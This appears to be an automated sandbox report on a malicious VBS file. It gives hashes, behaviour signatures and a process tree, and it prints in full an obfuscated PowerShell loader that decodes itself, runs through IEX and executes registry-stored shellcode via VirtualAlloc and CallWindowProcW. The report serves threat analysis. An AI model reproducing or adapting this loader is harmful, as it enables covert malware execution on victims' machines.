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Analysis

  • max time kernel
    42s
  • max time network
    47s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    19/10/2022, 16:55

General

  • Target

    d7591cff1a0c0e915efc2968a12fe55cf701c9c9d32b0af77d4e27e9b5c41bd5.vbs

  • Size

    435KB

  • MD5

    0de900a58b527ce0f6ab2324266a69ea

  • SHA1

    d92ecfc817b4044b3b937db8e7a091f311d0a44b

  • SHA256

    d7591cff1a0c0e915efc2968a12fe55cf701c9c9d32b0af77d4e27e9b5c41bd5

  • SHA512

    ee961030f1612e1fb2e2ff11e7a09548cf0476e432c965fc55e36da0ccf9368a2db65fe587a3036fa9a0185e92d6614f075b8b1371f6d62484fcc3a5a65dd85a

  • SSDEEP

    6144:RyF1b85ASf0UJa5mYfmVJOqsdzh7Y52eowLnb/D80Hh7MjxGPES5W5:RynG246dfmJOqsdztYoAZlM5

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies system certificate store 2 TTPs 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\d7591cff1a0c0e915efc2968a12fe55cf701c9c9d32b0af77d4e27e9b5c41bd5.vbs"
    1⤵
    • Blocklisted process makes network request
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:1788
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$Nonconcession = """AntisAVaerrdPrelidbrams-ghostTJapanyPerodpMagikeClavi Optrn-RegisTEthnayRealipLokaleTajcoDArcubeboksefGnidnifelinnSyneriIronwtKnowiiKuldsoStttenReins prima'spastuCentosdrabaihavannBroodgDaffo BegrdSAlphayAbelmsbuggjtkantaeScyphmForst;AntrouVurdesUdspriForklnAsiatgObers AndenSCruroySermosprotetAmetheBrix mPomps.ForreRIndfduMonosnForsmtAfrimiKashomAalerePrinc.BibliIAppelnFortftOverreFalslrNaturoSaligpObrogSPauseeDiscorOverbvAnsatiudforcslibnetaksisNarko;ExsecpLtes uNacrebDelfilNereiiSejrscFunct epiphsShirttVedtaaNonsotSelvoicambrcBelgn KoncecBilamlOligoaAftrdsPebresLarru intraVSspejeBoligrNonagbBordeaJvnstlNereiiindigsviganaIsophtRiperiCoenaoTelaunRoublsBombe1Kingl{Epiga[RestaDHakkelMalprlRematIAnanamHuskepFrasaoAutosrKommetVampe(Anska`"""NotarkTrawleCarolrBelysnRoughejordblRelat3Sphen2Notac`"""Dashp)Banan]CaecapGymnouLinenbMabe lTrskoicurricSlagt curlesKlematAcrenaParaptTroeliRodeocGlasu clerieBrandxSigmotHjreseArkenrOringnKlage MobcaiOctobnTripltSamme PeritDRivegeUnclolRetsmeVoivotSigneeOverrABrunetMacrooNattymMinis(HeteriTermonPhilotChond GasseCOutquhThreaeCalis)Horse;Extra[NyhedDEnhyplStikplCicutIAktiemBrnespSbefaoImbatrApotetRaspb(anus `"""BerggkUdpakeForsurEssetnprevoeTalpalHjert3skdsk2Mekan`"""Drift)Fyrin]VivispFordeuQuantbLsladlDysmeiSuccecAthen CasersAmarytObsteaApprotChefkiAntihcKomma PunprePastexEthyltJordbepolysrUdskrnActua BagpavVenosoSammeiOdoridUdgla ToollSAntibeLanartGarneFCladoiGodaflUndiseNedkmAUnderpMaco iDatatsPalmiTReconoNatioAOsierNSaburSStudiIblind(grsen)Civil;Limoi[FireeDOpvaslRandmlKroplIBesa mIndbipRugekoFiltnrnonartCoeli(Progr`"""hordakTribueandy rPhasmnKapereIndbelRaspn3Lugge2Treat`"""Celle)Udgan]DalbypPontauUnsecbFondelCrackiKatedcAmeno ChudesBevistScaffaStatstPantoiRenovcHemoc FestmeParamxSkrigtBrugeeResidrBrnetnPlate AnsgniSpgelnVelbetPhenm MilielDeltecMankerTheileCandlahispatMisrg(GeneriCoimpnAfsketSedes cycadMUmeddeTrivesMilri,nonraiShottnNathatDig P ChrysHFairseUndesbBestorindemaLound)exalb;Plett[ShoddDCranilModvrlOutcrISluknmudvikpUbestoFlongrRivebtGidda(Ridde`"""pietekPlatyeindrerCentrnunconeJuvellLasts3Frper2Bevil`"""spids)Topdo]StellpbehemuRaadebOmgnglBarneiFejescGardi KbenhsTapettDaas aUnhewtHexamiQuadrcHorse BldereDeterxBarbetArctieWalisrVermunMedle NonaciGeomanBremstPreel UhvisVPhenoipotporbankotBalleuKluntatallolTenpoALsninlGraavlSiccaoconfecWhirl(KettliPostpnRevistFlock BlottvAmnio1Bagsm,TaphriUformnLakeytUnder JokqlvAksia2Harpi,traadiSauernGennetStemp UnvulvManua3Sedde,DdsdoiUndelnSlgtstAfluk DecorvSlyng4Heste)Plast;desul[ProtaDMiceplPinselStarlIBrneomStormpAngelocylinrOblontTyded(Oprrs`"""InteriUncrymForvamPoxy 3Cotyl2Diacr.OverbdRuggilSiggelDrikk`"""Ripel)Tanke]OctadpUdklkubassebPostmlAtariiLillacAfkla PrdiksConurtDegneaArchetUromeiAmusecStyes TrotteJollixMidletGtc ReapprerSelsknTaran SnkediSkurenMartitHoggi SekteIInattmnonemmEnriqCSvalerimmobeBystaaMilietUnproeConceCSalepoBrodenDobbytExceleBlodfxpatertRainm(Heath)Alfas;Doria[FelthDDekatlVaarblAviatIPolytmBiblipTopteoPeregrStatitSphec(Chada`"""ItinekbrumbeBygnirOratonFlyseeThundlSporo3Strkn2Bolet`"""Subch)Xerog]PellepRounduDdskrbCellslLaviniAktiocNonre outwosMunketAgoraaSiriatHyliciInsolcLers TripleModtaxSkaaltNonraePolyzrTilbanMinis AfskrIDemulnBidratStttePHallotSmkfyrMerri SnavvEBookinLovoruSensimaerobSDikteybelursAfmartStormeBewelmFormaLSibiloStrancMajoraNondilXylofeRentesNominWUnder(EndotuIroniiSpinanForswtbullo Deficvdronn1treet,ImminiUnequnremsktDepil IncruvOmgaa2Lnker)pronu;Stres[wilsoDIndeclSkuldlSpinkIMotivmSurfbpAmmeeoDisinrAngiotThund(Foder`"""MegalgSemipdKsemaiBodys3Arkiv2Bemoa`"""Bridd)Schli]TerpepUindfuFingebTombllSminkiStormcKrest PyrylsBrnemtindraaMagistdragsiJordfcDiske curvieExempxKemoftkonvoeRussirFarvenCount LinebiSilkenostentBumse BlomkUReplonCirrurUtmmeeRicaraStylolProgriDireczPeruseTruckOWelchbCowbajTilsjeIndukcVenantAntev(FumbliKollanUdsputCicat SheriVPlatyiOmgivrUrisk)Trevr;Dehyd}Crico'matri;Daady`$CursoVMandjeOxytorCtenobCountaMadenlCompaiGalvasLicheaAsientSjlehiValluoErgatnNecrosExtra3Angio=Appro[EksteVIndsteUndecrthalabFigaraSjaellDesuliEastlsVedstaCoaxytOpgaviFejemoSnorknReshastermi1Afrun]Quadr:recal:reconVKnolliHavanrbristtComituBibehaCoretldgnmiATrichlAgterlInjunoCalypcFurom(Knlet0Antar,Doits1Birds0Decim4Gilgi8Afloa5Skin 7socia6Semir,Frizz1basun2Defro2Plads8Venst8Short,Strni6Alema4Hugor)Jordr;Inter`$needlEFiercvCountoRakeslDriveuReligtFortaiUniceoBedmmnUntarePuerprUndissInval=Frust(UdskiGStruceBeroltcontr-RaketISaxiftPrinteForekmImburPUdtrkrEskimoSvberpEpicoeMedicrSkribtCacaeySklle Gerod-RkebiPPalpeaMennetFulmihAllok Agroo'FoldnHMirliKUnpatCRebstUNonab:Skole\inoxiSFondeoSagomfByrdetBrnerwgoralaMididrMadtoeSving\MinerPBlredaandallProfeastatiiRsterhKlarenBarytiCilichPermeaBrneunLight'Hjres)Afstr.ShiftLPsychaDeklisFlerttAvanceQueeneHusbavLunulnfemmaeesoca;Unapp`$sikkepGaaenoAntiesResoltGaleaaoversrBeskymHalvtiChearsSpisetKonveiAlbercKisseeSikke Perso=Unpro Voile[JohanSSkjalyWritasTelevtEnjameUnsuimConta.ModstCaggraoPolitnSnekkvSkrbueSmlesrril btAcrop]Kvidr:Subcl:DefinFRetearbefudoForjamSavioBlandbaUdraasHaandeManip6Color4RucheSMilletFinicrSkrueiElittnCampigToast(Pigst`$melleEContrvArdeiotermolAnnamuForjatGobliiExtraoFrugtnKanapeRamarrSaltlsfremt)Nonet;Brnei[RallySVandryOxindsImpretMonopeStilemPloww.AmaryRLejliuLabornVilletCruisiLonenmPaaskeBrs T.UnfulIFrancnDesictTeleoeAftrdrAcaleoWurlipPsiloSSpndeeEscalrSolfivStriciEmerscBeskaeProvosObtur.nonprMPatuxaCepharFetalsTriklhKrysaaVisualForud]Ideta:Burt :RustiCDimidoKunstpBlysmyStrat(Ndlan`$SekunpAllowoForudsRaadgtThae aGrundrCaulomBlaasiRhizosMicrotBronkiHattrcUnambeNonge,Linne Exclu0Steno,Tetra Demis Runte`$AnduiVBlurbeKommurOxytebPancraRetailEtpariGgekasAbaddaVanddtRistiiDesegoClothnUndetsdeton3Forgr,Aston Golde`$UsdelpFjeldoStatisbuntitPrereaSernerSlipomFrankiClamjsFraictPhysiiConvacAttaieJargo.IsopscKavi oStudeuElevtnOpinitantim)Hormo;Hospi[DecolVSubaceAfsvkrYouthbBarmeaHistolOrdoviPrelosUbesrahypottPandeiInteroCook nFedeksnondi1Forln]Luftf:Tange:BibliEMilienKataluMyriomRwandSremboyskrmbsFljtetBruttetruttmRorpiLVildsoabthacAmys aAntrklSprogeFasansNonimWMonop(Gesan`$CopasVBilleeMultarKredebLinieaMasthlFiskeiNotitsUdfrsaAnlbstBalaniTerrooBldtvnPaleosSubse3Stama,Grund Bened0farre)margi#Biest;""";Function Verbalisations4 { param([String]$Inconquerable2); For($i=5; $i -lt $Inconquerable2.Length-1; $i+=(5+1)){ $Motorbicycle110 = $Motorbicycle110 + $Inconquerable2.Substring($i, 1); } $Motorbicycle110;}$Inconquerable0 = Verbalisations4 'ArkaiIStoveEDistiXAbsci ';$Inconquerable1= Verbalisations4 $Nonconcession;& ($Inconquerable0) $Inconquerable1;;"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1756
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gcid9qlu.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2012
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF75B.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCF74B.tmp"
          4⤵
            PID:1100

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\RESF75B.tmp

      Filesize

      1KB

      MD5

      f43afb4a2b1f3fc753a8fa3865e3b4ec

      SHA1

      8e230ccd0d665b2a4b9d5b2bd293ea489abb0a20

      SHA256

      5e3d9f79aa9c398a0d0fc4c4ad03d1499974d5b7307e4c5a170d08aaf55bd716

      SHA512

      ab0e4f80e52cbf300f9887240b2d68f6cb1ee122e7d5485a3afeb83bcdae4297a1d04a516b7d401597154fba447336fa82457ca4b58cb84a41cc18d9359b71fe

    • C:\Users\Admin\AppData\Local\Temp\gcid9qlu.dll

      Filesize

      3KB

      MD5

      b57cd30df8d3e1f3d48d4a3f187472b4

      SHA1

      8f2c1ae8874f1b2f37186fe9974aea35f872fa80

      SHA256

      ce6fb7ccb9f08c4683a041baa44dfdd762f5061c4655d0f07a7fb377d3dde9b6

      SHA512

      7b82dcff85e5e171e6c96283c30ee93373d2de4f60461d08796c291e35b61e6b54c79aa094da25df31b19d609bdcf16bfb1cb06519348bd2451abb9cbbd096f4

    • C:\Users\Admin\AppData\Local\Temp\gcid9qlu.pdb

      Filesize

      7KB

      MD5

      83bb5496b4deb14e49633a4dae11228c

      SHA1

      79c4773ea3826ed4c5edf14c04621524a3b5eebf

      SHA256

      6b1a4ee563d4809f71e3817ce612b9684e468d31653409610a2f799cfe2b2044

      SHA512

      dbcea2a67fad4e13ec5375cae743b8ecfb2b433df232e12703f3519db48d6125a61614891d897cb888909a5df551a05fddc726d35217e3c5b3cf93626e4f2fd2

    • \??\c:\Users\Admin\AppData\Local\Temp\CSCF74B.tmp

      Filesize

      652B

      MD5

      c6b17071aa848c3bf3af46f2b432213c

      SHA1

      551b3233bbe415081cc05bcb9b9a1b5032b922e8

      SHA256

      bfc2f859592ebcbb9c54d3fb81e097511fb84229e56d246105c56559edc62283

      SHA512

      7c62c376c3d4bd4fa2e0aabd2b6e5d2fae45cfd4c7728cf560c2364e10b0f78516960c396a07cae95b34b67a32da069051506d955fd4966f7418bfb465b8d67f

    • \??\c:\Users\Admin\AppData\Local\Temp\gcid9qlu.0.cs

      Filesize

      615B

      MD5

      ddcacaa4ce34648d2f2b9c9b19b0a656

      SHA1

      d279d394e8020760bd4887d6c03c0a1aa0093cd1

      SHA256

      93fa5982484bcc87507cc62debe71fbcc44fd4a2b34686ea1cdfe62ca1c416f0

      SHA512

      c48ef533ac92488358b55a001fbcbd9c93e249ecff24670176d21a367ad2f8c85203d672e6aeca8a13e69b1c6926e154bbb2afc05bc5d766d461b1e1d17cdb15

    • \??\c:\Users\Admin\AppData\Local\Temp\gcid9qlu.cmdline

      Filesize

      309B

      MD5

      d195551681f7d165461c99f3226116a4

      SHA1

      011ad0aeb2fe3fc8aa7463db7c590bdad6a6123a

      SHA256

      7ee2ffce0bb190c06294a6f116d0b81ae28c84bd130abe5ae24fd65162c240fb

      SHA512

      868e44a24ec313392c4c8e21a11a12525b5ca8cf11839774c7d25aebed91715d4b61123326a42f21e8b0d2df31fe73c0050f12910a683563ef55b27c279dd2d4

    • memory/1756-57-0x0000000074130000-0x00000000746DB000-memory.dmp

      Filesize

      5.7MB

    • memory/1756-56-0x00000000761F1000-0x00000000761F3000-memory.dmp

      Filesize

      8KB

    • memory/1756-66-0x0000000004F90000-0x0000000005090000-memory.dmp

      Filesize

      1024KB

    • memory/1756-67-0x0000000074130000-0x00000000746DB000-memory.dmp

      Filesize

      5.7MB

    • memory/1756-68-0x0000000004F90000-0x0000000005090000-memory.dmp

      Filesize

      1024KB

    • memory/1788-54-0x000007FEFBF41000-0x000007FEFBF43000-memory.dmp

      Filesize

      8KB